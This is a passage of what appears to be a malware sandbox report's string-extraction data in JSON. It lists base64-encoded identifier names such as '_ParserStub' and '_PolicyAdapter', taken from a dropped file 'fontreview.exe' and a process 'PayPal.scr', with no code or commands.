File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ludm9jYXRpb25UaHJlYWQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ludm9jYXRpb25Ub2tlbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ludm9jYXRpb25Xb3JrZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0lzc3VlckFkYXB0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0lzc3VlckFsZ28=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0lzc3VlckRlZmluaXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0lzc3VlckZpbHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0lzc3Vlckl0ZXJhdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0lzc3Vlck1hcHBpbmc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0lzc3VlclBhZ2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0lzc3VlclBvbGljeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0lzc3VlclByb3BlcnR5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0lzc3VlclJlcG9uc2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0lzc3VlclJlcG9zaXRvcnk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0lzc3VlclJlcXVlc3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0lzc3VlclNlcnZpY2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0lzc3VlclRocmVhZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0lzc3VlclRva2Vu","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0lzc3Vlcldvcmtlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0l0ZW1BbGdv","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0l0ZW1DbGllbnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0l0ZW1HbG9iYWw=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0l0ZW1Jc3N1ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0l0ZW1NYXA=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0l0ZW1TcGVjaWZpY2F0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0l0ZXJhdG9yQ29uZmln","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0l0ZXJhdG9yRXJyb3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0l0ZXJhdG9yRmFjYWRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0l0ZXJhdG9yTWFw","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0l0ZXJhdG9yTWFwcGluZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0l0ZXJhdG9yUHJvcGVydHk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0l0ZXJhdG9yVGFn","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0l0ZXJhdG9yVG9rZW4=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0xpc3RlbmVyQmFzZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0xpc3RlbmVyRXJyb3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0xpc3RlbmVyR2xvYmFs","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0xpc3RlbmVyTWFwcGluZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0xpc3RlbmVyUGFyYW1ldGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0xpc3RlbmVyU2NoZW1h","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01hbmFnZXJBZGFwdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01hbmFnZXJCYXNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01hbmFnZXJDbGllbnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01hbmFnZXJGYWNhZGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01hbmFnZXJGaWx0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01hbmFnZXJNYXBwaW5n","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01hbmFnZXJQYWdl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01hbmFnZXJQcm9wZXJ0eQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01hbmFnZXJUYWc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01hcHBlckFkYXB0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01hcHBlckNsaWVudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01hcHBlckRlZmluaXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01hcHBlckZpbHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01hcHBlckdsb2JhbA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01hcHBlck1hcA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01hcHBlclBvbGljeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01hcHBlclByb3BlcnR5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01hcHBlclJlcG9zaXRvcnk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01hcHBlclRhZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01hcHBlclRocmVhZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01hcHBlclRva2Vu","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01hcHBpbmdGYWNhZGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01hcHBpbmdGaWx0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01hcHBpbmdNYXBwaW5n","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01hcHBpbmdQYWdl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01hcHBpbmdSZXBvbnNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01hcHBpbmdSZXF1ZXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01hcHBpbmdXb3JrZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01lcmNoYW50","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01lcmNoYW50QWRhcHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01lcmNoYW50QWxnbw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01lcmNoYW50SXNzdWVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01lcmNoYW50TWVyY2hhbnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01lcmNoYW50UGFnZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01lcmNoYW50UGFyYW1ldGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01lc3NhZ2VBbGdv","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01lc3NhZ2VCYXNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01lc3NhZ2VEZWZpbml0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01lc3NhZ2VFcnJvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01lc3NhZ2VGaWx0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01lc3NhZ2VHbG9iYWw=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01lc3NhZ2VSZXF1ZXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01lc3NhZ2VUaHJlYWQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01ldGhvZENsaWVudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01ldGhvZENvbmZpZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01ldGhvZEVycm9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01ldGhvZFJlcG9zaXRvcnk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01ldGhvZFJlcXVlc3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01ldGhvZFNwZWNpZmljYXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01ldGhvZFdvcmtlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01vY2tDbGllbnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01vY2tDb25maWc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01vY2tFcnJvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01vY2tGYWNhZGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01vY2tJdGVyYXRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01vY2tQcm9wZXJ0eQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01vY2tTY2hlbWE=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01vY2tUaHJlYWQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01vZGVsQWxnbw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01vZGVsQ29uZmln","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01vZGVsRXJyb3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01vZGVsUGFyYW1ldGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01vZGVsUHJvcGVydHk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01vZGVsUmVwb3NpdG9yeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01vZGVsUmVxdWVzdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01vZGVsU2VydmljZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01vZGVsVGVzdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01vZGVsVG9rZW4=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01vZGVsV29ya2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X25leHRhZnRlcg==","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X09iamVjdEFkYXB0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X09iamVjdEFsZ28=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X09iamVjdEl0ZXJhdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X09iamVjdFBhcmFtZXRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X09iamVjdFJlcG9zaXRvcnk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X09iamVjdFNwZWNpZmljYXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X09iamVjdFRocmVhZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X09ic2VydmVyQmFzZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X09ic2VydmVyQ2xpZW50","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X09ic2VydmVyRXJyb3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X09ic2VydmVyTWVyY2hhbnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X09ic2VydmVyUHJvcGVydHk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X09ic2VydmVyU2VydmljZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X09ic2VydmVyVGVzdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X09ic2VydmVyVG9rZW4=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhZ2VBZGFwdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhZ2VCYXNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhZ2VGaWx0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhZ2VJdGVyYXRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhZ2VNZXJjaGFudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhZ2VQb2xpY3k=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhZ2VSZXBvc2l0b3J5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhZ2VTY2hlbWE=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhZ2VUb2tlbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhcmFtQWRhcHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhcmFtRGVmaW5pdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhcmFtZXRlckJhc2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhcmFtZXRlckRlZmluaXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhcmFtZXRlckZhY2FkZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhcmFtZXRlck1hcHBpbmc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhcmFtZXRlck1lcmNoYW50","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhcmFtZXRlclJlcG9uc2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhcmFtZXRlclJlcXVlc3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhcmFtRmFjYWRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhcmFtRmlsdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhcmFtTWFwcGluZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhcmFtUGFnZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhcmFtUGFyYW1ldGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhcmFtc0NsaWVudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhcmFtc0RlZmluaXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhcmFtc0Vycm9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhcmFtc01hcA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhcmFtc01lcmNoYW50","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhcmFtc1BhZ2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhcmFtc1BvbGljeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhcmFtc1Byb3BlcnR5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhcmFtc1NjaGVtYQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhcmFtc1N0dWI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhcmFtc1RocmVhZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhcmFtVG9rZW4=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhcnNlckFkYXB0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhcnNlckNsaWVudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhcnNlckRlZmluaXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhcnNlckZhY2FkZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhcnNlckl0ZXJhdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhcnNlck1hcHBpbmc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhcnNlclBhZ2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhcnNlclBhcmFtZXRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhcnNlclBvbGljeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhcnNlclJlcXVlc3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhcnNlclNjaGVtYQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhcnNlclN0dWI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BvbGljeUFkYXB0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BvbGljeUFsZ28=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BvbGljeUNvbmZpZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BvbGljeUlzc3Vlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BvbGljeUl0ZXJhdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BvbGljeU1hcHBpbmc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BvbGljeVJlcG9zaXRvcnk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BvbGljeVJlcXVlc3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BvbGljeVRva2Vu","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BvbGljeVdvcmtlcg==","type":"Ansi","source":"Dropped 